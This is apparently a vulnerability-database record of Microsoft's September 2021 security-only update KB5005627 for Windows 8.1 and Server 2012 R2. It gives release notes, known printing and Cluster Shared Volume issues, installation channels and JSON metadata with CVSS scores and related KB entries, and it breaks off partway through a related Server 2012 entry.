September 14, 2021—KB5005627 (Security-only update)

2021-09-14T07:00:00

Description

None ## **Summary** Learn more about this security update, including improvements and fixes, any known issues, and how to get the update. **Important: **Windows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as "C" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the "B" or Update Tuesday release). For information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>). ## **Improvements and fixes** This security update includes quality improvements. Key changes include: * This update contains miscellaneous security improvements to internal OS functionality. No additional issues were documented for this release. For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website. ## **Known issues in this update** **Symptom**| **Workaround** ---|--- Certain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, “STATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)”. This occurs when you perform the operation on a CSV owner node from a process that doesn’t have administrator privilege.| Do one of the following: * Perform the operation from a process that has administrator privilege. * Perform the operation from a node that doesn’t have CSV ownership. Microsoft is working on a resolution and will provide an update in an upcoming release. After installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006729](<https://support.microsoft.com/help/5006729>). After installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server – for example, duplex print settings – will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5007255](<https://support.microsoft.com/help/5007255>). After installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006729](<https://support.microsoft.com/help/5006729>). If after installing [KB5006729](<https://support.microsoft.com/help/5006729>) you still receive the prompt every time you print, see Q1 in the "Frequently ask questions" section of [KB5005652—Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). ## **How to get this update** **Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001403](<https://support.microsoft.com/help/5001403>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005563](<https://support.microsoft.com/help/5005563>)).**Install this update****Release Channel**| **Available**| **Next Step** ---|---|--- Windows Update and Microsoft Update| No| See the other options below. Microsoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005627>) website. Windows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Update ## **File information** For a list of the files that are provided in this update, download the [file information for update 5005627](<https://download.microsoft.com/download/6/3/a/63a7a18b-4013-4336-b8a9-b78228da6198/5005627.csv>).

{"id": "KB5005627", "vendorId": null, "type": "mskb", "bulletinFamily": "microsoft", "title": "September 14, 2021\u2014KB5005627 (Security-only update)", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **Windows 8.1 and Windows Server 2012 R2 have reached the end of mainstream support and are now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows 8.1 and Windows Server 2012 R2 update history [home page](<https://support.microsoft.com/help/4009470>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * This update contains miscellaneous security improvements to internal OS functionality. No additional issues were documented for this release.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006729](<https://support.microsoft.com/help/5006729>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5007255](<https://support.microsoft.com/help/5007255>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006729](<https://support.microsoft.com/help/5006729>). If after installing [KB5006729](<https://support.microsoft.com/help/5006729>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before you install the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001403](<https://support.microsoft.com/help/5001403>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005563](<https://support.microsoft.com/help/5005563>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005627>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 8.1, Windows Server 2012 R2, Windows Embedded 8.1 Industry Enterprise, Windows Embedded 8.1 Industry Pro**Classification**: Security Update \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005627](<https://download.microsoft.com/download/6/3/a/63a7a18b-4013-4336-b8a9-b78228da6198/5005627.csv>). \n", "published": "2021-09-14T07:00:00", "modified": "2021-09-14T07:00:00", "epss": [{"cve": "CVE-2021-38667", "epss": 0.00043, "percentile": 0.07516, "modified": "2023-05-23"}, {"cve": "CVE-2021-34481", "epss": 0.00756, "percentile": 0.78409, "modified": "2023-05-23"}], "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 7.5}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://support.microsoft.com/en-us/help/5005627", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "immutableFields": [], "lastseen": "2023-06-23T19:39:11", "viewCount": 90, "enchantments": {"dependencies": {"references": [{"type": "cnvd", "idList": ["CNVD-2022-10026"]}, {"type": "cve", "idList": ["CVE-2021-34481", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40447"]}, {"type": "githubexploit", "idList": ["5E52E412-B5BA-54D6-92C1-F70C151A8199"]}, {"type": "hivepro", "idList": ["HIVEPRO:1C413EFAC97AED19F9E35574668008F9"]}, {"type": "kaspersky", "idList": ["KLA12231", "KLA12246", "KLA12289", "KLA12290"]}, {"type": "kitploit", "idList": ["KITPLOIT:1358590931647264988"]}, {"type": "krebs", "idList": ["KREBS:AE87E964E683A56CFE4E51E96F3530AD"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:9F3181D8BD5EF0E44A305AF69898B9E0"]}, {"type": "mscve", "idList": ["MS:CVE-2021-34481", "MS:CVE-2021-38667", "MS:CVE-2021-38671", "MS:CVE-2021-40447"]}, {"type": "mskb", "idList": ["KB5005030", "KB5005031", "KB5005033", "KB5005040", "KB5005043", "KB5005076", "KB5005088", "KB5005089", "KB5005090", "KB5005094", "KB5005095", "KB5005099", "KB5005106", "KB5005565", "KB5005566", "KB5005568", "KB5005569", "KB5005573", "KB5005575", "KB5005606", "KB5005607", "KB5005613", "KB5005615", "KB5005618", "KB5005623", "KB5005633"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_AUG_5005030.NASL", "SMB_NT_MS21_AUG_5005031.NASL", "SMB_NT_MS21_AUG_5005043.NASL", "SMB_NT_MS21_AUG_5005089.NASL", "SMB_NT_MS21_AUG_5005094.NASL", "SMB_NT_MS21_AUG_5005095.NASL", "SMB_NT_MS21_AUG_5005106.NASL", "SMB_NT_MS21_SEP_5005565.NASL", "SMB_NT_MS21_SEP_5005566.NASL", "SMB_NT_MS21_SEP_5005568.NASL", "SMB_NT_MS21_SEP_5005569.NASL", "SMB_NT_MS21_SEP_5005573.NASL", "SMB_NT_MS21_SEP_5005606.NASL", "SMB_NT_MS21_SEP_5005613.NASL", "SMB_NT_MS21_SEP_5005623.NASL", "SMB_NT_MS21_SEP_5005633.NASL", "WINDOWS_RESTRICTDRIVERINSTALLATIONTOADMINISTRATORS_REG_CHECK.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0F0ACCA731E84F3B1067935E483FC950", "QUALYSBLOG:5576D16DC39617927D8AEFF027CC0911"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:CC071AA6971D64B0F7A596B2BBD5F046"]}, {"type": "thn", "idList": ["THN:3F83D0C001F2A9046C61A56F5ABE7695", "THN:6428957E9DED493169A2E63839F98667", "THN:67ECC712AB360F5A56F2434CDBF6B51F", "THN:C2D8045AAD8E4BA5A9168782138B6D52", "THN:CF5E93184467C7B8F56A517CE724ABCF", "THN:F601EBBE359B3547B8E79F0217562FEF"]}, {"type": "threatpost", "idList": ["THREATPOST:6D61C560E85ECD0A7A35C55E74849510", "THREATPOST:8D4EA8B0593FD44763915E703BC9AB72", "THREATPOST:A8242348917526090B7A1B23735D5C6C", "THREATPOST:ADA9E95C8FD42722E783C74443148525"]}]}, "score": {"value": 0.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-34481", "CVE-2021-38667"]}, {"type": "githubexploit", "idList": ["5E52E412-B5BA-54D6-92C1-F70C151A8199"]}, {"type": "hivepro", "idList": ["HIVEPRO:1C413EFAC97AED19F9E35574668008F9"]}, {"type": "kaspersky", "idList": ["KLA12231", "KLA12246"]}, {"type": "kitploit", "idList": ["KITPLOIT:1358590931647264988"]}, {"type": "krebs", "idList": ["KREBS:AE87E964E683A56CFE4E51E96F3530AD"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:9F3181D8BD5EF0E44A305AF69898B9E0"]}, {"type": "mscve", "idList": ["MS:CVE-2021-34481", "MS:CVE-2021-38667"]}, {"type": "mskb", "idList": ["KB5001403", "KB5005033", "KB5005565"]}, {"type": "nessus", "idList": ["MICROSOFT_OFFICE_UNSUPPORTED.NASL", "SMB_NT_MS21_SEP_5005565.NASL", "SMB_NT_MS21_SEP_5005566.NASL", "SMB_NT_MS21_SEP_5005568.NASL", "SMB_NT_MS21_SEP_5005569.NASL", "SMB_NT_MS21_SEP_5005573.NASL", "SMB_NT_MS21_SEP_5005606.NASL", "SMB_NT_MS21_SEP_5005613.NASL", "SMB_NT_MS21_SEP_5005623.NASL", "SMB_NT_MS21_SEP_5005633.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0F0ACCA731E84F3B1067935E483FC950", "QUALYSBLOG:5576D16DC39617927D8AEFF027CC0911"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:CC071AA6971D64B0F7A596B2BBD5F046"]}, {"type": "thn", "idList": ["THN:3F83D0C001F2A9046C61A56F5ABE7695", "THN:6428957E9DED493169A2E63839F98667", "THN:67ECC712AB360F5A56F2434CDBF6B51F", "THN:C2D8045AAD8E4BA5A9168782138B6D52", "THN:CF5E93184467C7B8F56A517CE724ABCF", "THN:F601EBBE359B3547B8E79F0217562FEF"]}, {"type": "threatpost", "idList": ["THREATPOST:6D61C560E85ECD0A7A35C55E74849510", "THREATPOST:8D4EA8B0593FD44763915E703BC9AB72", "THREATPOST:A8242348917526090B7A1B23735D5C6C", "THREATPOST:ADA9E95C8FD42722E783C74443148525"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2021-34481", "epss": 0.00681, "percentile": 0.77007, "modified": "2023-04-12"}, {"cve": "CVE-2021-38667", "epss": 0.00043, "percentile": 0.07456, "modified": "2023-04-12"}], "vulnersScore": 0.3}, "_state": {"dependencies": 1687549736, "score": 1687549343, "epss": 0}, "_internal": {"score_hash": "1fe257457c925c5799337fd146cd100f"}, "kb": "KB5005627", "msrc": "", "mscve": "CVE-2021-38667", "msplatform": "", "msfamily": "Windows", "msimpact": "Elevation of Privilege", "msseverity": "Important", "superseeds": ["KB3070102", "KB920958", "KB3177725", "KB938829", "KB3126446", "KB2506223", "KB3161664", "KB968537", "KB2834886", "KB2839229", "KB3170455", "KB3088195", "KB2930275", "KB969947", "KB2799494", "KB3045999", "KB2393802", "KB2876217", "KB2412687", "KB3013455", "KB3002885", "KB3139852", "KB933729", "KB2658846", "KB3034344", "KB2724197", "KB3121212", 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"KB2360937", "KB2525694", "KB3109094", "KB3045171", "KB2479628", "KB2731847", "KB3046306", "KB3126593", "KB958869", "KB938127", "KB3153199", "KB3108347", "KB2957503", "KB2835361"], "parentseeds": [], "msproducts": ["10543", "10481", "10482", "10483"], "affectedProducts": ["Windows Server 2012 R2", "Windows Server 2012 R2 (Server Core installation)", "Windows 8.1 for 32-bit systems", "Windows 8.1 for x64-based systems"], "supportAreaPaths": [], "supportAreaPathNodes": [], "primarySupportAreaPath": []}

{"mskb": [{"lastseen": "2023-06-23T19:39:09", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **Windows Server 2008 Service Pack 2 (SP2) has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional, non-security releases (known as \"C\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2008 Service Pack 2 update history [home page](<https://support.microsoft.com/help/4343218>).\n\n## **Improvements and fixes**\n\nThis security update includes improvements and fixes that were a part of update [KB5005090](<https://support.microsoft.com/help/5005090>) (released August 10, 2021) and addresses the following issues:\n\n * Addresses an issue in which a driver might not install if the driver is signed with more than one code sign signatures.\n * This update also contains miscellaneous security improvements to internal OS functionality.\nFor more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nAfter installing this update and restarting your device, you might receive the error, \u201cFailure to configure Windows updates. Reverting Changes. Do not turn off your computer\u201d, and the update might show as **Failed** in **Update History**.| This is expected in the following circumstances:\n\n * If you are installing this update on a device that is running an edition that is not supported for ESU. For a complete list of which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).\n * If you do not have an ESU MAK add-on key installed and activated.\nIf you have purchased an ESU key and have encountered this issue, please verify you have applied all prerequisites and that your key is activated. For information on activation, please see this [blog](<https://aka.ms/Windows7ESU>) post. For information on the prerequisites, see the \"How to get this update\" section of this article. \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5006736](<https://support.microsoft.com/help/5006736>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue is resolved in [KB5007263](<https://support.microsoft.com/help/5007263>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006736](<https://support.microsoft.com/help/5006736>). If after installing [KB5006736](<https://support.microsoft.com/help/5006736>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update****IMPORTANT** Customers who have purchased the [Extended Security Update](<https://www.microsoft.com/cloud-platform/extended-security-updates>) (ESU) for on-premises versions of these operating systems must follow the procedures in [KB4522133](<https://support.microsoft.com/help/4522133>) to continue receiving security updates after extended support ends on January 14, 2020.For more information about ESU and which editions are supported, see [KB4497181](<https://support.microsoft.com/help/4497181>).**Prerequisite:**You must install the updates listed below and **restart your device** before installing the latest Rollup. Installing these updates improves the reliability of the update process and mitigates potential issues while installing the Rollup and applying Microsoft security fixes.\n\n 1. The April 9, 2019 servicing stack update (SSU) ([KB4493730](<https://support.microsoft.com/help/4493730>)). To get the standalone package for this SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). This update is required to install updates that are only SHA-2 signed.\n 2. The latest SHA-2 update ([KB4474419](<https://support.microsoft.com/help/4474419>)) released October 8, 2019. If you are using Windows Update, the latest SHA-2 update will be offered to you automatically. This update is required to install updates that are only SHA-2 signed. For more information on SHA-2 updates, see [2019 SHA-2 Code Signing Support requirement for Windows and WSUS](<https://support.microsoft.com/help/4472027>).\n 3. The Extended Security Updates (ESU) Licensing Preparation Package ([KB4538484](<https://support.microsoft.com/help/4538484>)) or the Update for the Extended Security Updates (ESU) Licensing Preparation Package ([KB4575904](<https://support.microsoft.com/help/4575904>)). The ESU licensing preparation package will be offered to you from WSUS. To get the standalone package for ESU licensing preparation package, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).\nAfter installing the items above, Microsoft strongly recommends that you install the latest SSU ([KB4580971](<https://support.microsoft.com/help/4580971>)). If you are using Windows Update, the latest SSU will be offered to you automatically if you are an ESU customer. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update if you are an ESU customer. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5005606>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows Server 2008 Service Pack 2**Classification**: Security Updates \n \n## **File information**\n\nFor a list of the files that are provided in this update, download the [file information for update 5005606](<https://download.microsoft.com/download/1/4/7/147d3470-0e5e-48f9-888f-61e2094f4921/5005606.csv>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T07:00:00", "type": "mskb", "title": "September 14, 2021\u2014KB5005606 (Monthly Rollup)", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481", "CVE-2021-38667"], "modified": "2021-09-14T07:00:00", "id": "KB5005606", "href": "https://support.microsoft.com/en-us/help/5005606", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-23T19:39:10", "description": "None\n## **Summary**\n\nLearn more about this security update, including improvements and fixes, any known issues, and how to get the update. \n\n**Important: **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the device. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**Important: **Windows Server 2012 has reached the end of mainstream support and is now in extended support. Starting in July 2020, there will no longer be optional releases (known as \"C\" or \"D\" releases) for this operating system. Operating systems in extended support have only cumulative monthly security updates (known as the \"B\" or Update Tuesday release). \n \nVerify that** **you have installed the required updates listed in the **How to get this update** section before installing this update. \n \nFor information about the various types of Windows updates, such as critical, security, driver, service packs, and so on, please see the following [article](<https://support.microsoft.com/help/824684>). To view other notes and messages, see the Windows Server 2012 update history [home page](<https://support.microsoft.com/help/4009471>).\n\n## **Improvements and fixes**\n\nThis security update includes quality improvements. Key changes include:\n\n * This update contains miscellaneous security improvements to internal OS functionality. No additional issues were documented for this release.\nFor more information about the resolved security vulnerabilities, please refer to the [Security Update Guide](<https://portal.msrc.microsoft.com/security-guidance>).\n\n## **Known issues in this update**\n\n**Symptom**| **Workaround** \n---|--- \nCertain operations, such as **rename**, that you perform on files or folders that are on a Cluster Shared Volume (CSV) may fail with the error, \u201cSTATUS_BAD_IMPERSONATION_LEVEL (0xC00000A5)\u201d. This occurs when you perform the operation on a CSV owner node from a process that doesn\u2019t have administrator privilege.| Do one of the following:\n\n * Perform the operation from a process that has administrator privilege.\n * Perform the operation from a node that doesn\u2019t have CSV ownership.\nMicrosoft is working on a resolution and will provide an update in an upcoming release. \nAfter installing this update, devices which attempt to connect to a network printer for the first time might fail to download and install the necessary printer drivers. Devices which had connected to and installed the printer prior to the installation of this update are unaffected and operations to that printer will succeed as usual.This issue has been observed in devices which access printers via a print server using HTTP connections. When a client connects to the server to install the printer, a directory mismatch occurs, which causes the installer files to generate incorrectly. As a result, the drivers may not download.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006732](<https://support.microsoft.com/help/5006732>). \nAfter installing this update on a print server, printing properties defined on that server might not be correctly provided to clients. Note this issue is specific to print servers and does not impact standard network printing. This issue will not cause printing operations to fail, however, custom settings defined on the server \u2013 for example, duplex print settings \u2013 will not be applied automatically, and clients will print with default settings only.This issue results from an improper building of the data file which contains the printer properties. Clients which receive this data file will not be able to use the file content and will instead proceed with default printing settings. Clients who have previously received the settings package prior to the installation of this update are unaffected. Servers which use default print settings and have no custom settings to provide to clients are unaffected.**Note** The printer connection methods described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5007245](<https://support.microsoft.com/help/5007245>). \nAfter installing this update, you might receive a prompt for administrative credentials every time you attempt to print in environments in which the print server and print client are in different times zones. **Note** The affected environments described in this issue are not commonly used by devices designed for home use. The printing environments affected by this issue are more commonly found in enterprises and organizations.| This issue was resolved in [KB5006732](<https://support.microsoft.com/help/5006732>). If after installing [KB5006732](<https://support.microsoft.com/help/5006732>) you still receive the prompt every time you print, see Q1 in the \"Frequently ask questions\" section of [KB5005652\u2014Manage new Point and Print default driver installation behavior (CVE-2021-34481)](<https://support.microsoft.com/help/5005652>). \n \n## **How to get this update**\n\n**Before installing this update**We strongly recommend that you install the latest servicing stack update (SSU) for your operating system before installing the latest Rollup. SSUs improve the reliability of the update process to mitigate potential issues while installing the Rollup and applying Microsoft security fixes. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/windows/deployment/update/servicing-stack-updates>) and [Servicing Stack Updates (SSU): Frequently Asked Questions](<https://support.microsoft.com/help/4535697>).If you use Windows Update, the latest SSU ([KB5001401](<https://support.microsoft.com/help/5001401>)) will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>). **REMINDER** If you are using Security-only updates, you will also need to install all previous Security-only updates and the latest cumulative update for Internet Explorer ([KB5005563](<https://support.microsoft.com/help/5005563>)).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update and Microsoft Update| No| See the other options below. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the 